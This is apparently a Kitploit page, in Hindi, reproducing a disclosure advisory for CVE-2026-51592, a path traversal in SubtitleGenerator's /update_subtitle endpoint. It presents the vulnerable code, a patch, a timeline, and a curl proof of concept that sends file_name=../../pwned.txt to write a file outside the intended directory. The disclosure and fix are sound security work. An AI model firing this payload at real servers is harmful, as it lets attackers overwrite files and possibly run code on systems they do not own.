Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-51592 — Path Traversal vulnerability in TahaBakhtari/SubtitleGenerator - CVE-2026-51592 | Kitploit
उपकरण/GitHubGitHub/ardakrg/cve-2026-51592
Vulnerability AnalysisWeb SecurityPapers & ResearchLearning & EducationCurated Resources
GitHubardakrg/cve-2026-51592

CVE-2026-51592

Path Traversal vulnerability in TahaBakhtari/SubtitleGenerator - CVE-2026-51592

रिपॉजिटरी देखें
27 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-51592 — TahaBakhtari/SubtitleGenerator में पथ-भ्रमण (Path Traversal)

सारांश

TahaBakhtari/SubtitleGenerator के /update_subtitle एंडपॉइंट में पथ-भ्रमण भेद्यता मौजूद है। यह एंडपॉइंट एक अप्रमाणित क्लाइंट से file_name पैरामीटर स्वीकार करता है और पथ-भ्रमण अनुक्रमों को सैनिटाइज़ किए बिना os.path.join() का उपयोग करके इसे एक निश्चित आधार निर्देशिका से जोड़ता है। परिणामस्वरूप, एक दूरस्थ, अप्रमाणित हमलावर इच्छित data/subtitles/ निर्देशिका के बाहर, चल रही प्रक्रिया की अनुमतियों के अंतर्गत, मनमानी फ़ाइलें लिख सकता है।

प्रभावित उत्पाद

  • उत्पाद: SubtitleGenerator
  • भंडार: https://github.com/TahaBakhtari/SubtitleGenerator
  • प्रभावित संस्करण: कमिट 2e2553a (परीक्षण के समय नवीनतम)
  • प्रभावित घटक: app.py, update_subtitle फ़ंक्शन (पंक्तियाँ 225–238)

विवरण

root@kitploit:~
@app.route('/update_subtitle', methods=['POST'])
def update_subtitle():
    file_type = request.form.get('file_type', 'srt')
    new_content = request.form.get('new_content')
    file_name = request.form.get('file_name')

    if not file_name:
        return jsonify({'status': 'error', 'message': '...'}), 400

    file_path = os.path.join("data/subtitles", file_name)

    try:
        with open(file_path, "w", encoding="utf-8") as f:
            f.write(new_content)
        return jsonify({'status': 'success', 'message': '...'})
    except Exception as e:
        return jsonify({'status': 'error', 'message': str(e)}), 500

file_name पैरामीटर का उपयोग बिना किसी सत्यापन के फ़ाइल पथ बनाने के लिए किया जाता है। एक हमलावर ../../pwned.txt जैसा मान प्रदान कर सकता है, जिससे data/subtitles/ निर्देशिका से बाहर निकलकर उस मनमाने स्थान पर लिखा जा सकता है जहाँ प्रक्रिया में लिखने की पहुँच है।

डिफ़ॉल्ट रूप से, एप्लिकेशन 0.0.0.0:5000 पर बाइंड होता है (देखें app.py), जिसका अर्थ है कि यह नेटवर्क पर पहुँच योग्य है और लोकलहोस्ट तक सीमित नहीं है।

CWE

CWE-22: पथनाम का प्रतिबंधित निर्देशिका में अनुचित सीमांकन ('पथ भ्रमण')

प्रभाव

  • Flask प्रक्रिया की अनुमतियों के अंतर्गत मनमानी फ़ाइल लेखन

  • मौजूदा कॉन्फ़िगरेशन या एप्लिकेशन फ़ाइलों को अधिलेखित करना

  • एप्लिकेशन स्रोत फ़ाइलों (जैसे app.py) का संभावित अधिलेखन, जो अगले पुनरारंभ पर कोड निष्पादन का कारण बन सकता है

  • महत्वपूर्ण फ़ाइलों के भ्रष्टाचार के माध्यम से सेवा से वंचित करना (DoS)

  • हमला वेक्टर: दूरस्थ

  • प्रमाणीकरण आवश्यक: नहीं

  • उपयोगकर्ता सहभागिता आवश्यक: नहीं

  • गंभीरता (प्रारंभिक): उच्च

प्रमाण की अवधारणा (Proof of Concept)

root@kitploit:~
curl -X POST "http://target:5000/update_subtitle" \
  --data "file_name=../../pwned.txt&new_content=HACKED"

प्रतिक्रिया:

root@kitploit:~
{"status": "success", "message": "..."}

सर्वर पर सत्यापन:

root@kitploit:~
$ ls
... pwned.txt ...

$ cat pwned.txt
HACKED

pwned.txt फ़ाइल प्रोजेक्ट की रूट निर्देशिका में लिखी गई, जो इच्छित data/subtitles/ निर्देशिका से दो स्तर ऊपर है — यह पथ-भ्रमण की पुष्टि करता है।

इस प्रमाण की अवधारणा के चलने योग्य संस्करण के लिए poc.sh देखें।

उपचार (Remediation)

फ़ाइल खोलने से पहले os.path.realpath() का उपयोग करके सत्यापित करें कि हल किया गया पथ data/subtitles/ के अंदर रहता है:

root@kitploit:~
base_dir = os.path.realpath("data/subtitles")
target = os.path.realpath(os.path.join("data/subtitles", file_name))

if not target.startswith(base_dir + os.sep):
    return jsonify({'status': 'error', 'message': 'invalid filename'}), 400

file_path = target

यह सुनिश्चित करता है कि परिणामी पथ हमेशा data/subtitles/ के अंदर हल होता है, जिससे ../../ जैसे भ्रमण अनुक्रम प्रभावी रूप से अवरुद्ध हो जाते हैं।

पूरा पैच patch.diff में उपलब्ध है। इस सुधार को एक स्थानीय परीक्षण उदाहरण के विरुद्ध कार्यान्वित और सत्यापित किया गया था: ऊपर PoC में उपयोग किए गए समान पेलोड के लिए अब फ़ाइल लिखने के बजाय "invalid filename" त्रुटि लौटाई जाती है।

समयरेखा

  • 2026-04-26 — भेद्यता की सूचना ईमेल के माध्यम से अनुरक्षक को दी गई (पता अनुरक्षक के GitHub प्रोफ़ाइल पर सूचीबद्ध है)
  • 2026-06-25 — MITRE CVE असाइनमेंट टीम द्वारा CVE ID आरक्षित की गई
  • 2026-07-24 — अनुरक्षक से कोई प्रतिक्रिया नहीं मिली; सार्वजनिक प्रकटीकरण (प्रारंभिक रिपोर्ट के 90 दिन बाद)

श्रेय

अर्दा कुरुओग्लू द्वारा खोजा और रिपोर्ट किया गया।

प्रकटीकरण नीति

यह भेद्यता अनुरक्षक को प्रारंभिक रिपोर्ट की तिथि से शुरू होने वाली 90-दिवसीय जिम्मेदार प्रकटीकरण समयरेखा का पालन करते हुए प्रकट की गई थी।

इस भंडार में फ़ाइलें

  • README.md — यह लेखन
  • poc.sh — भेद्यता प्रदर्शित करने वाली प्रमाण-अवधारणा स्क्रिप्ट
  • patch.diff — सुझाया गया पैच, एक स्थानीय परीक्षण उदाहरण के विरुद्ध मान्य

लाइसेंस

यह लेखन और संलग्न फ़ाइलें MIT लाइसेंस के अंतर्गत जारी की गई हैं।

टूल डाउनलोड करें